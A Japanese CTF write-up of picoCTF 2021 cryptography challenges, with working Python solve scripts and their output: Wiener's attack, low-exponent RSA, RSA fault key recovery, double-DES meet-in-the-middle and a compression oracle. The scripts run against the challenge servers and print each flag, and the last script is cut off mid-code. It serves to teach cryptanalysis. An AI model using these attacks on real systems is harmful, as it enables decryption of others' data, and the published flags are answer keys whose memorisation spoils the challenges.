picoCTF 2021 Writeup

picoCTF 2021のWriteupです。

Satoooonさんとd4wnin9さんと共にPui-Pui-CTFerというチームで参加し、日本1位、世界11位という結果を残すことができました。

reversing問を多く解けたので非常に嬉しい。

Cryptography

Mod 26

問題文を見ると

Cryptography can be easy, do you know what ROT13 is?
cvpbPGS{arkg_gvzr_V'yy_gel_2_ebhaqf_bs_ebg13_MAZyqFQj}

と書かれているので、cvpb...という文字列をROT13で復号するとフラグが手に入ります。

picoCTF{next_time_I'll_try_2_rounds_of_rot13_ZNMldSDw}

Mind your Ps and Qs

RSAの公開鍵であるn, eと暗号化されたフラグcが手に入ります。

nが270bitとギリギリ素因数分解できそうな大きさなのでsageやら何やらで素因数分解してみるとn = 1899107986527483535344517113948531328331 * 674357869540600933870145899564746495319033であることがわかります。

後はp, qからdを計算して復号してやるだけです。

# solve.py
from Crypto.Util.number import *

p = 1899107986527483535344517113948531328331
q = 674357869540600933870145899564746495319033
e = 65537
c = 62324783949134119159408816513334912534343517300880137691662780895409992760262021
n = p * q

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
print(long_to_bytes(pow(c, d, n)))
$ python solve.py
b'picoCTF{sma11_N_n0_g0od_05012767}'

Easy Peasy

keyの周期がわかっているので周期 - フラグの長さだけ適当な文字列を送り1周させます。そして、暗号化されたフラグの長さ分だけ適当な平文を暗号化してもらい、得られた暗号文と平文でxorをとるとフラグの暗号化に使われたkeyを得られます。後は暗号化されたフラグとkeyでxorをとるとフラグが得られます。

ソースコード中に出てくるsocklibはこれです

# python solve.py
from socklib import parse_nc_cmd
import binascii

KEY_LEN = 50000

with parse_nc_cmd("nc mercury.picoctf.net 64260") as s:
    s.recvline()
    s.recvline()
    enc_flag = binascii.unhexlify(s.recvline().rstrip())
    s.recvline()

    # send data
    s.sendline(b"A" * (KEY_LEN - len(enc_flag)))
    s.recvline()
    s.recvline()

    s.recvline()
    s.sendline(b"A" * (len(enc_flag)))
    s.recvline()
    key_xor_A = binascii.unhexlify(s.recvline().rstrip())
    key = [k ^ 0x41 for k in key_xor_A]
    #print(key)

    flag = ""
    for k, e in zip(key, enc_flag):
        flag += chr(k ^ e)
    print("picoCTF{" + flag + "}")
$ python solve.py
picoCTF{3a16944dad432717ccc3945d3d96421a}

New Caesar

keyが16種類しかないので総当りで求められます。

# solve.py
import string

LOWERCASE_OFFSET = ord("a")
ALPHABET = string.ascii_lowercase[:16]

def b16_decode(encoded):
    assert len(encoded) % 2 == 0
    dec = ""
    for i in range(len(encoded) // 2):
        e = encoded[i*2:i*2+2]
        high = ALPHABET.find(e[0])
        low = ALPHABET.find(e[1])
        dec += chr(int("0b{:04b}{:04b}".format(high, low), 2))
    return dec

def inv_shift(c, k):
    t1 = ord(c) - LOWERCASE_OFFSET
    t2 = ord(k) - LOWERCASE_OFFSET
    return ALPHABET[(t1 - t2) % len(ALPHABET)]

flag = "mlnklfnknljflfmhjimkmhjhmljhjomhmmjkjpmmjmjkjpjojgjmjpjojojnjojmmkmlmijimhjmmj"

for alpha in ALPHABET:
    tmp_dec = ""
    for f in flag:
        tmp_dec += inv_shift(f, alpha)
    tmp_dec = b16_decode(tmp_dec)
    if all(c in string.printable for c in tmp_dec):
        print(tmp_dec)
$ python solve.py
et_tu?_a2da1e18af49f649806988786deb2a6c
TcNcd.NP!SP T 'PU#(U%#('/%(''&'%STQ!P%R 

一番上のet_tu?_a2da1e18af49f649806988786deb2a6cpicoCTF{}で包んだものがフラグです。

Mini RSA

eが非常に小さい数なのでLow Public-Exponent Attackで平文を求められます。

# solve.py
from Crypto.Util.number import *
import gmpy2

N = 1615765684321463054078226051959887884233678317734892901740763321135213636796075462401950274602405095138589898087428337758445013281488966866073355710771864671726991918706558071231266976427184673800225254531695928541272546385146495736420261815693810544589811104967829354461491178200126099661909654163542661541699404839644035177445092988952614918424317082380174383819025585076206641993479326576180793544321194357018916215113009742654408597083724508169216182008449693917227497813165444372201517541788989925461711067825681947947471001390843774746442699739386923285801022685451221261010798837646928092277556198145662924691803032880040492762442561497760689933601781401617086600593482127465655390841361154025890679757514060456103104199255917164678161972735858939464790960448345988941481499050248673128656508055285037090026439683847266536283160142071643015434813473463469733112182328678706702116054036618277506997666534567846763938692335069955755244438415377933440029498378955355877502743215305768814857864433151287
e = 3

c = 1220012318588871886132524757898884422174534558055593713309088304910273991073554732659977133980685370899257850121970812405700793710546674062154237544840177616746805668666317481140872605653768484867292138139949076102907399831998827567645230986345455915692863094364797526497302082734955903755050638155202890599808146956044568639690002921620304969196755223769438221859424275683828638207433071955615349052424040706261639770492033970498727183446507482899334169592311953247661557664109356372049286283480939368007035616954029177541731719684026988849403756133033533171081378815289443019437298879607294287249591634702823432448559878065453908423094452047188125358790554039587941488937855941604809869090304206028751113018999782990033393577325766685647733181521675994939066814158759362046052998582186178682593597175186539419118605277037256659707217066953121398700583644564201414551200278389319378027058801216150663695102005048597466358061508725332471930736629781191567057009302022382219283560795941554288119544255055962

i = 1
while True:
    m, ok = gmpy2.iroot(c + i * N, e)
    if ok:
        break
    i += 1

print(long_to_bytes(m))
$ python solve.py
b'                                                                                                        picoCTF{e_sh0u1d_b3_lArg3r_6e2e6bda}'

参考: https://ctf-wiki.org/crypto/asymmetric/rsa/rsa_e_attack/

Dachshund Attacks

mercury.picoctf.net 36463に接続すると暗号化したフラグとn, eが与えられます。

$ nc mercury.picoctf.net 36463
Welcome to my RSA challenge!
e: 7437420319448252274990541905923360055448609936867522618724611031223092671289039902546797844168860963868882257843332585967790520599808066802637301334840708876231856123324244218137532317601858090202352976878504968465769234001487878747032821161698728842125897716816838814390845892134918038855626672399748672047
n: 57216839047090881023719767779616966353988353330412043948131115061193125179046670353474954648789743249624506726832408057445071292883567571239736015100275265395422388093349421957767770637080686756989689960010154535943734205135492121513552586865504097742068696945354563991824122412899702617936677983838271949583
c: 25667912083980108164545926647993202095350419862347035030837541309901172111074697365111859105127401566968136742431037559459774784989789906107833008822066085373967487773380142749978215858622590377223132666376203476251625692353037376919304439309062393768737299183184656208457032420005091164376843059239987240015

eが非常に大きな値となっているため秘密鍵であるdは相対的に小さな値だと推測できます。そのためWiener's Attackでdを求める事ができ、フラグを復号することができます。

# solve.py
from Crypto.Util.number import *
import owiener

e = 7437420319448252274990541905923360055448609936867522618724611031223092671289039902546797844168860963868882257843332585967790520599808066802637301334840708876231856123324244218137532317601858090202352976878504968465769234001487878747032821161698728842125897716816838814390845892134918038855626672399748672047
n = 57216839047090881023719767779616966353988353330412043948131115061193125179046670353474954648789743249624506726832408057445071292883567571239736015100275265395422388093349421957767770637080686756989689960010154535943734205135492121513552586865504097742068696945354563991824122412899702617936677983838271949583
c = 25667912083980108164545926647993202095350419862347035030837541309901172111074697365111859105127401566968136742431037559459774784989789906107833008822066085373967487773380142749978215858622590377223132666376203476251625692353037376919304439309062393768737299183184656208457032420005091164376843059239987240015

d = owiener.attack(e, n)

if d:
    print(long_to_bytes(pow(c, d, n)))
$ python solve.py
b'picoCTF{proving_wiener_2635457}'

No Padding, No Problem

フラグを暗号化した値以外の任意の値を復号してくれるので、2c2^{-1}を復号してもらって掛け合わせると以下のように平文が求まります。

\begin{eqnarray} 2^{-d} \cdot (2c)^{d} &=& c^{d} \ mod \ n \\ &=& m \end{eqnarray}

# solve.py
from socklib import parse_nc_cmd
from Crypto.Util.number import long_to_bytes

def decrypt(c):
    s.recvuntil(b"Give me ciphertext to decrypt: ")
    s.sendline(str(c))
    return int(s.recvline().rstrip()[len("Here you go: "):])

with parse_nc_cmd("nc mercury.picoctf.net 42248") as s:
    s.recvuntil(b"n: ")
    n = int(s.recvline().rstrip())

    s.recvuntil(b"e: ")
    e = int(s.recvline().rstrip())

    s.recvuntil(b"ciphertext: ")
    c = int(s.recvline().rstrip())

    c1 = (2 * c) % n
    c2 = pow(2, -1, n)

    m1 = decrypt(c1)
    m2 = decrypt(c2)

    print(long_to_bytes((m1 * m2) % n))
$ python solve.py
b'picoCTF{m4yb3_Th0se_m3s54g3s_4r3_difurrent_7416022}'

It's Not My Fault 1

dを求めるためにCRTを使っています。mercury.picoctf.net 27379に接続するとPoWがあり、それを超えるとeNが渡されます。それらの値からp+qを求めて送るとフラグを手に入れることができます。制限時間があり15分以内に求めなければなりません。

「It's Not My Fault 1」という問題名だったので、「RSA fault attack」みたいな感じのことをgoogleで調べているとこの論文が見つかりました。この論文の1.1と1.2に書かれている式が問題となんか似ていると思ってローカルでいろいろ試していると以下のような感じでd_pからpを求めることができました。mは適当な値です。

\begin{align} S_p = m^{d_p} \ mod \ N \\ p = gcd({S_p}^{e} - m, N) \\ \end{align}

d_p2^{20}通りしかないので15分以内に総当りできます。

import gmpy2
import string
import random
import itertools
import hashlib
import time
from socklib import parse_nc_cmd

def find_p(e, n):
    BITS = 20
    # 適当な値
    m = random.randint(2, n // 2)
    t = time.time()
    # pを求める
    for i in range(1, 1 << BITS):
        if i % (1048576 // 20) == 0:
            print(f"[+] progress: {i/1048576*100}%")
        p = gmpy2.gcd((gmpy2.powmod(m, i*e, n) - m) % n, n)
        if p != 1:
            print("[+] done!")
            print(f"[+] elapsed time: {time.time() - t}s")
            return p
    print("[-] oops... I couldn't find p")
    return -1

with parse_nc_cmd("nc mercury.picoctf.net 27379") as sock:
        # PoW
    s = sock.recvline().decode().split()
    start = s[6][1:-1]
    end = s[-1]
    print("start:", start, "end:", end)

    chars = string.ascii_letters + string.digits + "!{}_()/."

    for i in range(20):
        for c in itertools.product(chars, repeat=i):
            ans = (start + ''.join(c)).encode()
            m = hashlib.md5(ans).hexdigest()[-6:]
            if m == end:
                break
        else:
            continue
        break
    print(ans.decode())
    sock.sendline(ans.decode())
    
    print(sock.recvuntil("Public Modulus : "))
    n = int(sock.recvline().strip())
    print(n)

    print(sock.recvuntil("Clue : "))
    e = int(sock.recvline().strip())
    print(e)

    p = find_p(e, n)
    print(p)
    if p != -1:
        q = n // p
        print("found! :)")
        print("p+q:", p+q)
        sock.sendline(str(p+q))
        print(sock.recvline())
        print(sock.recvline())
        print(sock.recvline())
    else:
        print("sorry :(")

何回か実行するとフラグが手に入りました。

$ python solve.py
start: 27812 end: 7ea654
27812zff2
b'Public Modulus : '
146141959571796619184580323263238082762735627180417137502900618064846402838600006091928743503099897691438979201849389667364406567564209333438245311171648497478841603869828410444086250621022013791651250529162358213252068152727059835621053300450977337607437057823171675892171842371135234774910916121594623312287
b'Clue : '
145911849523323551691273476488567052913626758222467702971817757208889516253090534930268256571616129614843207042193678117224250056416984150215525869255610048215501801235881946635457555322802597714448624942355212564203995669091304209559054111097825953157794899726260007315238905241723231125239175118169015627871
[+] done!
[+] elapsed time: 33.74832630157471s
13274242098760249682587335617607866413324033479405205962338854549928397772347362733029828768171581093445574322876694518561825653896319238088364956963635969
found! :)
p+q: 24283681167635268525640794472417793191848599926475979459708104810987817153859629820379240666419644946548268941164379960296059012617926257242171592663000992
b"picoCTF{1_c4n'7_b3l13v3_17'5_n07_f4ul7_4774ck!!!}\n"

Play Nice

playfair.pyというソースファイルが与えられます。また、mercury.picoctf.net 30568に接続するとPlayfair暗号で暗号化されたフラグが渡されます。

playfair.pyに暗号化処理が実装されているので、それを参考にしてwikipediaを見ながら適当に復号処理を実装するとフラグが手に入りました。

from socklib import parse_nc_cmd

SQUARE_SIZE = 6

def generate_square(alphabet):
    assert len(alphabet) == pow(SQUARE_SIZE, 2)
    matrix = []
    for i, letter in enumerate(alphabet):
        if i % SQUARE_SIZE == 0:
            row = []
        row.append(letter)
        if i % SQUARE_SIZE == (SQUARE_SIZE - 1):
            matrix.append(row)
    return matrix

def get_index(letter, matrix):
    for row in range(SQUARE_SIZE):
        for col in range(SQUARE_SIZE):
            if matrix[row][col] == letter:
                return (row, col)
    print("letter not found in matrix.")
    exit()

def decrypt_pair(pair, matrix):
    p1 = get_index(pair[0], matrix)
    p2 = get_index(pair[1], matrix)

    if p1[0] == p2[0]:
        return matrix[p1[0]][(p1[1] - 1)  % SQUARE_SIZE] + matrix[p2[0]][(p2[1] - 1)  % SQUARE_SIZE]
    elif p1[1] == p2[1]:
        return matrix[(p1[0] - 1)  % SQUARE_SIZE][p1[1]] + matrix[(p2[0] - 1)  % SQUARE_SIZE][p2[1]]
    else:
        return matrix[p1[0]][p2[1]] + matrix[p2[0]][p1[1]]

def decrypt_string(s, matrix):
    assert len(s) % 2 == 0
    result = ""
    for i in range(0, len(s), 2):
        result += decrypt_pair(s[i:i+2], matrix)
    return result

with parse_nc_cmd("nc mercury.picoctf.net 30568") as s:
    s.recvuntil(": ")
    alphabet = s.recvline().rstrip().decode()
    s.recvuntil(": ")
    msg = s.recvline().rstrip().decode()

    matrix = generate_square(alphabet)
    dec_msg = decrypt_string(msg, matrix)
    s.recvuntil("What is the plaintext message? ")
    s.sendline(dec_msg)

    s.recvuntil("Congratulations! Here's the flag: ")
    flag = s.recvline().rstrip().decode()

    print("flag:", flag)
$ python solve.py
flag: 007d0a696aaad7fb5ec21c7698e4f754

Double DES

mercury.picoctf.net 33425に接続すると暗号化されたフラグが手に入ります。その後何か適当に平文を与えると、DES方式で2度暗号化した暗号文が手に入ります。

鍵の候補は10^{6}ですが、DESに使われる鍵は2つあるため総当りでは求められません。

Double DESってTriple DESに響きが似ているなと思い、Triple DESについて調べているとmeet-in-the-middle attackという攻撃手法が見つかりました。これを使って鍵を求めます。

平文をm、鍵をkey_1, key_2とすると以下の式が成り立ちます。

\begin{eqnarray} c &=& Enc(Enc(m, key_1), key_2) \\ Dec(c, key_2) &=& Dec(Enc(Enc(m, key_1), key_2), key_2) \\ Dec(c, key_2) &=& Enc(m, key_1) \\ \end{eqnarray}

上の式を見るとDec(c, key_2) = Enc(m, key_1)が成り立つkey_1, key_2のペアを総当たりで見つければフラグを復号できます。

#!/usr/bin/python3 -u
from Crypto.Cipher import DES
from Crypto.Util.number import *
from itertools import product
from socklib import parse_nc_cmd
import binascii
import itertools
import random
import string


KEY_LENGTH = 6


def pad(msg):
    block_len = 8
    over = len(msg) % block_len
    pad = block_len - over
    return (msg + " " * pad).encode()

def generate_key():
    return pad("".join(random.choice(string.digits) for _ in range(KEY_LENGTH)))


def get_input():
    try:
        res = binascii.unhexlify(input("What data would you like to encrypt? ").rstrip()).decode()
    except:
        res = None
    return res

def double_encrypt(sock, m):
    sock.recvuntil("What data would you like to encrypt? ")
    sock.sendline(m)
    enc = sock.recvline().rstrip()
    return binascii.unhexlify(enc)

with parse_nc_cmd("nc mercury.picoctf.net 33425") as s:
    s.recvline()
    flag = binascii.unhexlify(s.recvline().rstrip())

    enc_A = double_encrypt(s, "41" * 8)
    enc_A = enc_A[:8]
    print("[+] enc_A: {}".format(enc_A))

    # https://en.wikipedia.org/wiki/Meet-in-the-middle_attack
    subcipher = {}

    for i, key in enumerate(product(string.digits, repeat=KEY_LENGTH)):
        if (i + 1) % 50000 == 0:
            print(f"[+] subkey 1: {((i+1)/10**6)*100}%")
        tmp_key = pad("".join(key))
        cipher = DES.new(tmp_key, DES.MODE_ECB)
        enc = cipher.encrypt(b"AAAAAAAA")
        subcipher[enc] = tmp_key

    print("[+] subkey 1 complete!")
    key_pair = set()

    for i, key in enumerate(product(string.digits, repeat=KEY_LENGTH)):
        if (i + 1) % 50000 == 0:
            print(f"[+] subkey 2: {((i+1)/10**6)*100}%")
        tmp_key = pad("".join(key))
        cipher = DES.new(tmp_key, DES.MODE_ECB)
        dec = cipher.decrypt(enc_A)
        sub = subcipher.get(dec)
        if sub:
            key_pair.add((sub, tmp_key))

    print("[+] subkey 2 complete!")

    for k1, k2 in key_pair:
        cipher1 = DES.new(k1, DES.MODE_ECB)
        cipher2 = DES.new(k2, DES.MODE_ECB)
        dec_2 = cipher2.decrypt(flag)
        dec_1 = cipher1.decrypt(dec_2)
        print(dec_1.rstrip())
$ python solve.py
[+] enc_A: b'\xef\xaf\x97\x1f\xaa(L\xdb'
[+] subkey 1: 5.0%
[+] subkey 1: 10.0%
[+] subkey 1: 15.0%
[+] subkey 1: 20.0%
[+] subkey 1: 25.0%
[+] subkey 1: 30.0%
[+] subkey 1: 35.0%
[+] subkey 1: 40.0%
[+] subkey 1: 45.0%
[+] subkey 1: 50.0%
[+] subkey 1: 55.00000000000001%
[+] subkey 1: 60.0%
[+] subkey 1: 65.0%
[+] subkey 1: 70.0%
[+] subkey 1: 75.0%
[+] subkey 1: 80.0%
[+] subkey 1: 85.0%
[+] subkey 1: 90.0%
[+] subkey 1: 95.0%
[+] subkey 1: 100.0%
[+] subkey 1 complete!
[+] subkey 2: 5.0%
[+] subkey 2: 10.0%
[+] subkey 2: 15.0%
[+] subkey 2: 20.0%
[+] subkey 2: 25.0%
[+] subkey 2: 30.0%
[+] subkey 2: 35.0%
[+] subkey 2: 40.0%
[+] subkey 2: 45.0%
[+] subkey 2: 50.0%
[+] subkey 2: 55.00000000000001%
[+] subkey 2: 60.0%
[+] subkey 2: 65.0%
[+] subkey 2: 70.0%
[+] subkey 2: 75.0%
[+] subkey 2: 80.0%
[+] subkey 2: 85.0%
[+] subkey 2: 90.0%
[+] subkey 2: 95.0%
[+] subkey 2: 100.0%
[+] subkey 2 complete!
b'af5fa5d565081bac320f42feaf69b405'
...
b'af5fa5d565081bac320f42feaf69b405'

The flag is not in standard formatとあるのでaf5fa5d565081bac320f42feaf69b405がフラグになります。

Compress and Attack

任意の文字列を送ることができ、フラグの後ろに送った文字列を追加したもの圧縮し暗号化したものを得ることができます。暗号化する前に平文を圧縮している点に注目します。

まず、フラグをpicoCTF{hogehoge}だと仮定します。ここでpicoCTF{apicoCTF{bpicoCTF{hの3つの文字列をフラグの後ろに追加し圧縮すると以下のようになります。

>>> import zlib
>>> FLAG = b"picoCTF{hogehoge}"
>>> a = zlib.compress(FLAG + b"picoCTF{a")
>>> b = zlib.compress(FLAG + b"picoCTF{b")
>>> c = zlib.compress(FLAG + b"picoCTF{h")
>>> len(a)
26
>>> len(b)
26
>>> len(c)
25

picoCTF{hを圧縮したものの長さが25であることに対して残りの2つの長さは26となっています。ここから、フラグと一致する部分が多いほど圧縮率が高くなり、データが短くなると推測できます。これを利用すると総当りで1文字ずつフラグを特定することができます。

# solve.py
from socklib import parse_nc_cmd
import string

def compress_and_encrypt(sock, text):
    sock.recvuntil("Enter your text to be encrypted: ")
    sock.sendline(text)
    sock.recvline()
    sock.recvline()
    return int(sock.recvline().rstrip())

with parse_nc_cmd("nc mercury.picoctf.net 33976") as s:
    flag_cand = "picoCTF{"

    while True:
        cand = ()
        for c in (string.ascii_letters + "_}"):
            tmp_flag = flag_cand + c
            length = compress_and_encrypt(s, tmp_flag * 1)
            if not cand:
                cand = (c, length)
            if cand[1] > length:
                cand = (c, length)
            print(flag_cand + c, length, cand)
        print(f"\nfound candidate: {cand}")
        flag_cand += cand[0]
        if cand[0] == "}":
            break
    print(flag_cand)
$ python solve.py
python solve.py
picoCTF{a 49 ('a', 49)
picoCTF{b 49 ('a', 49)
picoCTF{c 49 ('a', 49)
...

found candidate: ('}', 48)
picoCTF{sheriff_you_solved_the_crime}

Scrambled RSA

mercury.picoctf.net 47987に接続するとフラグを暗号化したものだと考えられる値とn, eが得られます。また、任意の文字列を暗号化することができます。

nの値に比べてフラグの値がとても大きいという不思議なことが起こっています。そこで、試しに適当な文字列を暗号化してもらい、どんな特徴があるのか考えます。

$ nc mercury.picoctf.net 47987
flag: 27712828221077230806997584148553541659367258963369828259994779356476404345742347820959256363115965049022500818322214939353772037881245999080566560981933133306491634178220361587915102881935897146558760171172567228766560353968233194356612656258701617969973928766585663707804121255155181178425886160265357131159453188603016611573953174075509753927362602077855247727643448473670365318452055382334262644740113673746523436714532949668854323545336821050606392034688473158951296266892270362498167510014673981203744539567740080247073141674398592704404866572978027047041578423565031177926200186607280437527790692508547201667231156733094749389428175488610019166576031271302868317030684446447124122200592107294369876287166414070290975543463072950874453721019766300167867551603536912643534954337799206397593897576607471557691589976332179157201938000586083569962797061276879574579988329000429955824755895679105701640110087977282985074097588222161994859397406136894043667638844627654658292028860612986381584913116938250971816639839997084139200378607388431245059996365604862507293936165368652217770181949531397142159619792581784156117971903451768630614886260645022701245367374751768152481421256266383579179135083390647207665599143493948353091543052735848830202217948478545672938592279476865145057865566779420538907908670651012236446637810815663616919840079302900081115898117977904408111449154279264270807486027133288342652101543467670680217001365049132588647641167983510023352841021574453929865537148489949481523001953883986038277797949428817948085161567881362365756357083524709902669837542336644181643019735546460806404677707072018088091549455783248044976510069034125649724470786000275882629041484416354806641382530974148050034013722267491123614879435017964388524723026076034152780973014543214199302751900093261789881842305974317466424650331031910268395910730548109769674816517369908617408509269473381613939451454957719373696134386129976776318319365034306193831522391036913274490985898412483783094927175574084653076080765734828942140174708084804022025498343796066262624396472155771764340649289162117311314352966341688992590964676511937492464349159839618467446206745892624604831825100783689369568542447120632717311863231381079501893838345707236550895896772751350384174070635479557593917142778975454272295124729624098055226179476136949883456370106276587946944710718102390704625054177118575291746654767540025095736713508947966288877799346617358540115154884641957797869397933327310021022707381694694416561679293512531880790782173631240262844010163288508233583028218115110933275103029553383199517013786738217101114800393837033643395003568423110442952200558285349179933647455104571993364711131137542547778476916173609608684546829567932041363312809040631500217872318878077802127212213151110096981115161219598482509475163416053252282195169748030692757176747289685379290463199942170396176090656323474570528407849553763144106183633823452084359011867468520918531735696653415022150695892575467103308946798868078707411379881946730140852963737084932116751347583769428856375530963352331872517568950303813717897912043046976298016062220440925374188910414226374647109752158320067099501641653272654526100850604853942209566279052020384765374009815441617578986577173115859922883938412512132952653400291671652220540991003546650066219442114665206485230795529199617370484777250443121518305279277824912361407417500519478345434222323942703174801987895628647481030026086413195867474389576645955078967242602887969888280169699536720587504700734043397211149901322728763035000041514425798681357602715881938278124969848921065553973334814624016812376724528505977181244931416509508783628922981896359376825649659721318658909444444661829706054477319646634907312859930567822969791238055554358805719873942748454459700344202782970618485188688754774540430559268182850315537525498771926118138642633390820899675040774449066674450049492672321331665527032091733213105768424252379687321961330016325112867279304717632596901731813339739004497651918383786329830967443855410891347218797221566082762622680807649665891211151453630630784606112110450584825151306745174072146595466349933815514120655711394286246508411287924595689570329557368457128002070123347469385447346889870962619515860618538350020692163198600560761904862408547682902426787907026120604338021337249405703084526521699956046068105895547970808511002638784423941201131961336517393464716405458669087961466440943180853606374916385062503582725665625859943669345416858988593938935944683268175615710377019708220716500736504578045928551268654955366126201436041682899139378543448212198082378519522612663300938361931502137207220047586213053436842065652027633898979168581684526829062188212050215560145350597947861710098240657261787453057229856066391715066898435550280902097220047615575224599080659479516846392252350342864308439180542560230133261614355953247781876053408650867860012311586444925009428946833948431107534017842138505199769015848557583843061705112773210203249007331411268444356621635485793683881135909692652949611062468486941914368718253170956522332548643625056540095244911102944734328772731877775301285382383179946854002247910649042117011112119130791500278445355073436904375648857013923998138388023029893923762075111684951526164941155536267450581255482957652359094198508314699716146991945491328364819374643234442192047060639913592914549113576305618938605607426356703253949006698901620084224210470490651607819508085628647739927486533253760050865378374791332738957642375407737675393559069126768566773829757373477115307516420429978297009226543331131113613145445338536814590577703145302050209708645743161244651047520553596152225046462345681950597656784724287676847662128964583312309569563242565742869389543045669119477860820405459471470748255221373435883498982929915078994205352919083280969489227471241305063590359559421914170733847201414047274312506757356729347423221981014308526562285310015423014036861912298513151724111584918781808316355052268463520196917073392743007393045560586784814573009120778740153253910527421341246660401883614090744550881858923764151692152590263960882611557362509091911827961959559221986524372108623799450983352538507459836370818322104930759735727732767102428121727348160425654099579672779993372794441583817969787518891400323442966803589240941541003181497084416885424517724495238056867331820629300795911839245794202768837573421409695377631353110919712419009426675557866140401112113332373528062673463905875236787141246036639871330049457710511218071878439256928860399554520902312502643276479956448337110824521473292176410719349536051387508225730262600344188819696486882400882098334540121327177169906942261499782134461365050818710369421868606305336262424676544300169503020881409954882302746525666978508771012190571796562888927913663115573977899459090423922911012733185517438696064916510654388729650892108003627041359253612940110965967131940882830596349021830950235626531850304269410153114945213946220480000574901829235859292766393160768277509797235056780638979837593313168737335437145511206685629952663225770743846789214342829650857981066038368985673527144735214747153130025769656626516058611173973628930555319539130817685160453548470426228392565777634720245481488449848316029050173244589074722956597360020094950689091826765881777143424614481761915843715660144097720490178762263545769171280909203407265719880124216134754528006546133247141975296846530129576426623163541179031962203416724632530103882573324332015623636427536299478372552161404801637263381404431956093574226959419824662591520916940272719082588280419511950558494513945661500838259349922438855482977425977091966452171420424583139441332643561133943129194470174353084676796644721543488177922021154589522377747098417902876114127549020102104627730560376012086136629870304461363884350540778780564090244923426233146899388163989747574068409206943114588466204565298856428538611684099230998180586068273371542151993695484506278667215347066814447340732062812343105719667532364259311635541163873467731070473221927188747039132221942180879287
n: 113491632484518090091336543596784123270561676696666071384566480902164824756567480758350941907546324701133062532339021188284191508970295068395228174673076319702499395200561767877698291017840956966474307150236161387990996434586127034090502792039435271853566801396283187093436302112104521376830064559716218688401
e: 65537
I will encrypt whatever you give me: a
Here you go: 46798895334693840091794835001160532416686708388879653934218525507319772044314411772964942931898209979377699687862441389954657524372104054716282443386231841355324772035639583226678756617341698827891313123612781220704620048675289731640242648784405825044073411691609253812130931490975910732069177699680604739413
I will encrypt whatever you give me: aa
Here you go: 1552156076965828047540149946046789583061977135612132861026318719336229092350627491381215303285000800235429638468571515203237528263382810074197414740728991779303110596623988913732731578167400453121636447002418405034882808902517139360575207389567103630418993497578319835814742598505039497836013117263225786881546798895334693840091794835001160532416686708388879653934218525507319772044314411772964942931898209979377699687862441389954657524372104054716282443386231841355324772035639583226678756617341698827891313123612781220704620048675289731640242648784405825044073411691609253812130931490975910732069177699680604739413
I will encrypt whatever you give me: aaa
Here you go: 1063267893767234429322081426512844918079569873836284739657702910178179165098021325056337175153090068343546463379970597849682719986590544606517460396659751323299210864023806255602198354292257635202354942726624723552824108197792015277232093167864122458791609720484405997976569120321775940024793917316860609795221552156076965828047540149946046789583061977135612132861026318719336229092350627491381215303285000800235429638468571515203237528263382810074197414740728991779303110596623988913732731578167400453121636447002418405034882808902517139360575207389567103630418993497578319835814742598505039497836013117263225786881546798895334693840091794835001160532416686708388879653934218525507319772044314411772964942931898209979377699687862441389954657524372104054716282443386231841355324772035639583226678756617341698827891313123612781220704620048675289731640242648784405825044073411691609253812130931490975910732069177699680604739413

aaを暗号化したものに着目すると、aaを暗号化したものの中にaを暗号化したものが含まれていることがわかります。aaをaを暗号化したものの部分をxとそうでない部分をyとすると以下のようになっています。

x = 46798895334693840091794835001160532416686708388879653934218525507319772044314411772964942931898209979377699687862441389954657524372104054716282443386231841355324772035639583226678756617341698827891313123612781220704620048675289731640242648784405825044073411691609253812130931490975910732069177699680604739413
y = 15521560769658280475401499460467895830619771356121328610263187193362290923506274913812153032850008002354296384685715152032375282633828100741974147407289917793031105966239889137327315781674004531216364470024184050348828089025171393605752073895671036304189934975783198358147425985050394978360131172632257868815

さらにaaaを暗号化したものに着目すると、その中に上のxyが含まれていることがわかります。

上の例からaaaという平文を与えられた時、a,aa,aaaをそれぞれ暗号化し順番をバラバラにした後に結合したものが、得られる暗号文なのではないかと推測できます。このことから、総当たりで1文字ずつフラグを特定できそうだと思い、実際に総当りしてみるとフラグが得られました。

from socklib import parse_nc_cmd
from collections import defaultdict
import string

CAND_CHARS = "_}" + string.ascii_letters + string.digits

def encrypt(sock, msg):
    sock.recvuntil("I will encrypt whatever you give me: ")
    sock.sendline(msg)
    sock.recvuntil("Here you go: ")
    return sock.recvline().rstrip()

with parse_nc_cmd("nc mercury.picoctf.net 47987") as s:
    s.recvuntil("flag: ")
    flag = s.recvline().rstrip()

    s.recvuntil("n: ")
    n = s.recvline().rstrip()

    s.recvuntil("e: ")
    e = s.recvline().rstrip()

    known_flag = "picoCTF{"
    known_list = []

    print("[+] gather data")

    for i in range(1, len(known_flag) + 1):
        tmp = known_flag[:i]
        enc = encrypt(s, tmp)
        if i != 1:
            for kl in known_list:
                enc = enc.replace(kl, b"")
        known_list.append(enc)

    print("[+] ok!")

    print("[+] start bruteforce 💪")
    while True:
        for prog, cand in enumerate(CAND_CHARS):
            payload = known_flag + cand
            enc = encrypt(s, payload)
            for kl in known_list:
                enc = enc.replace(kl, b"")
            if flag.find(enc) != -1:
                known_flag = payload
                known_list.append(enc)
                break
        if cand == "}":
            break
        else:
            print(f"[+] found char: {cand}")
            print(f"[+] current flag: {known_flag}")
    print(f"[+] finish bruteforce 👍")
    print(f"[+] flag: {known_flag}")
$ python solve.py
[+] gather data
[+] ok!
[+] start bruteforce 💪
[+] found char: b
[+] current flag: picoCTF{b
[+] found char: a
[+] current flag: picoCTF{ba
[+] found char: d
[+] current flag: picoCTF{bad
...
[+] found char: 2 
[+] current flag: picoCTF{bad_1d3a5_7571572
[+] finish bruteforce 👍
[+] flag: picoCTF{bad_1d3a5_7571572}

New Vigenere

New CaesarのVigenere暗号バージョンです。鍵長が1~15文字になっています。

暗号文を復号した後にb16decodeして得られる文字がabcdef0123456789の内のどれかでなくてはならないので、この条件に一致するような鍵の候補を総当りで求めると解けました。bruteforce 💪

# solve.py
import string
import time

LOWERCASE_OFFSET = ord("a")
ALPHABET = string.ascii_lowercase[:16]

def b16_decode(encoded):
    assert len(encoded) % 2 == 0
    dec = ""
    for i in range(len(encoded) // 2):
        e = encoded[i*2:i*2+2]
        high = ALPHABET.find(e[0])
        low = ALPHABET.find(e[1])
        dec += chr(int("0b{:04b}{:04b}".format(high, low), 2))
    return dec

def inv_shift(c, k):
    t1 = ord(c) - LOWERCASE_OFFSET
    t2 = ord(k) - LOWERCASE_OFFSET
    return ALPHABET[(t1 - t2) % len(ALPHABET)]

c = "bkglibgkhghkijphhhejggikgjkbhefgpienefjdioghhchffhmmhhbjgclpjfkp"

print("[+] start find cand1")
t = time.time()

key_cand = []
cand = []
